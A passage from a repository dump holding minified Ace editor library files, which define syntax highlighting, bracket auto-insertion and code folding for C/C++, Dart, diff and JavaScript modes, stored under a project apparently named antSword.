e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/dart_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"true|false|null\",t=\"this|super\",n=\"try|catch|finally|throw|rethrow|assert|break|case|continue|default|do|else|for|if|in|return|switch|while|new|deferred|async|await\",r=\"abstract|class|extends|external|factory|implements|get|native|operator|set|typedef|with|enum\",s=\"static|final|const\",o=\"void|bool|num|int|double|dynamic|var|String\",u=this.createKeywordMapper({\"constant.language.dart\":e,\"variable.language.dart\":t,\"keyword.control.dart\":n,\"keyword.declaration.dart\":r,\"storage.modifier.dart\":s,\"storage.type.primitive.dart\":o},\"identifier\"),a={token:\"string\",regex:\".+\"};this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:[\"meta.preprocessor.script.dart\"],regex:\"^(#!.*)$\"},{token:\"keyword.other.import.dart\",regex:\"(?:\\\\b)(?:library|import|export|part|of|show|hide)(?:\\\\b)\"},{token:[\"keyword.other.import.dart\",\"text\"],regex:\"(?:\\\\b)(prefix)(\\\\s*:)\"},{regex:\"\\\\bas\\\\b\",token:\"keyword.cast.dart\"},{regex:\"\\\\?|:\",token:\"keyword.control.ternary.dart\"},{regex:\"(?:\\\\b)(is\\\\!?)(?:\\\\b)\",token:[\"keyword.operator.dart\"]},{regex:\"(<<|>>>?|~|\\\\^|\\\\||&)\",token:[\"keyword.operator.bitwise.dart\"]},{regex:\"((?:&|\\\\^|\\\\||<<|>>>?)=)\",token:[\"keyword.operator.assignment.bitwise.dart\"]},{regex:\"(===?|!==?|<=?|>=?)\",token:[\"keyword.operator.comparison.dart\"]},{regex:\"((?:[+*/%-]|\\\\~)=)\",token:[\"keyword.operator.assignment.arithmetic.dart\"]},{regex:\"=\",token:\"keyword.operator.assignment.dart\"},{token:\"string\",regex:\"'''\",next:\"qdoc\"},{token:\"string\",regex:'\"\"\"',next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{regex:\"(\\\\-\\\\-|\\\\+\\\\+)\",token:[\"keyword.operator.increment-decrement.dart\"]},{regex:\"(\\\\-|\\\\+|\\\\*|\\\\/|\\\\~\\\\/|%)\",token:[\"keyword.operator.arithmetic.dart\"]},{regex:\"(!|&&|\\\\|\\\\|)\",token:[\"keyword.operator.logical.dart\"]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qdoc:[{token:\"string\",regex:\".*?'''\",next:\"start\"},a],qqdoc:[{token:\"string\",regex:'.*?\"\"\"',next:\"start\"},a],qstring:[{token:\"string\",regex:\"[^\\\\\\\\']*(?:\\\\\\\\.[^\\\\\\\\']*)*'\",next:\"start\"},a],qqstring:[{token:\"string\",regex:'[^\\\\\\\\\"]*(?:\\\\\\\\.[^\\\\\\\\\"]*)*\"',next:\"start\"},a]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.DartHighlightRules=o}),ace.define(\"ace/mode/dart\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/dart_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./dart_highlight_rules\").DartHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/dart\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-diff.js",
    "content": "ace.define(\"ace/mode/diff_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{regex:\"^(?:\\\\*{15}|={67}|-{3}|\\\\+{3})$\",token:\"punctuation.definition.separator.diff\",name:\"keyword\"},{regex:\"^(@@)(\\\\s*.+?\\\\s*)(@@)(.*)$\",token:[\"constant\",\"constant.numeric\",\"constant\",\"comment.doc.tag\"]},{regex:\"^(\\\\d+)([,\\\\d]+)(a|d|c)(\\\\d+)([,\\\\d]+)(.*)$\",token:[\"constant.numeric\",\"punctuation.definition.range.diff\",\"constant.function\",\"constant.numeric\",\"punctuation.definition.range.diff\",\"invalid\"],name:\"meta.\"},{regex:\"^(\\\\-{3}|\\\\+{3}|\\\\*{3})( .+)$\",token:[\"constant.numeric\",\"meta.tag\"]},{regex:\"^([!+>])(.*?)(\\\\s*)$\",token:[\"support.constant\",\"text\",\"invalid\"]},{regex:\"^([<\\\\-])(.*?)(\\\\s*)$\",token:[\"support.function\",\"string\",\"invalid\"]},{regex:\"^(diff)(\\\\s+--\\\\w+)?(.+?)( .+)?$\",token:[\"variable\",\"variable\",\"keyword\",\"variable\"]},{regex:\"^Index.+$\",token:\"variable\"},{regex:\"^\\\\s+$\",token:\"text\"},{regex:\"\\\\s*$\",token:\"invalid\"},{defaultToken:\"invisible\",caseInsensitive:!0}]}};r.inherits(s,i),t.DiffHighlightRules=s}),ace.define(\"ace/mode/folding/diff\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(e,t){this.regExpList=e,this.flag=t,this.foldingStartMarker=RegExp(\"^(\"+e.join(\"|\")+\")\",this.flag)};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i={row:n,column:r.length},o=this.regExpList;for(var u=1;u<=o.length;u++){var a=RegExp(\"^(\"+o.slice(0,u).join(\"|\")+\")\",this.flag);if(a.test(r))break}for(var f=e.getLength();++n<f;){r=e.getLine(n);if(a.test(r))break}if(n==i.row+1)return;return s.fromPoints(i,{row:n-1,column:r.length})}}.call(o.prototype)}),ace.define(\"ace/mode/diff\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/diff_highlight_rules\",\"ace/mode/folding/diff\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./diff_highlight_rules\").DiffHighlightRules,o=e(\"./folding/diff\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o([\"diff\",\"index\",\"\\\\+{3}\",\"@@|\\\\*{5}\"],\"i\")};r.inherits(u,i),function(){this.$id=\"ace/mode/diff\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-django.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Int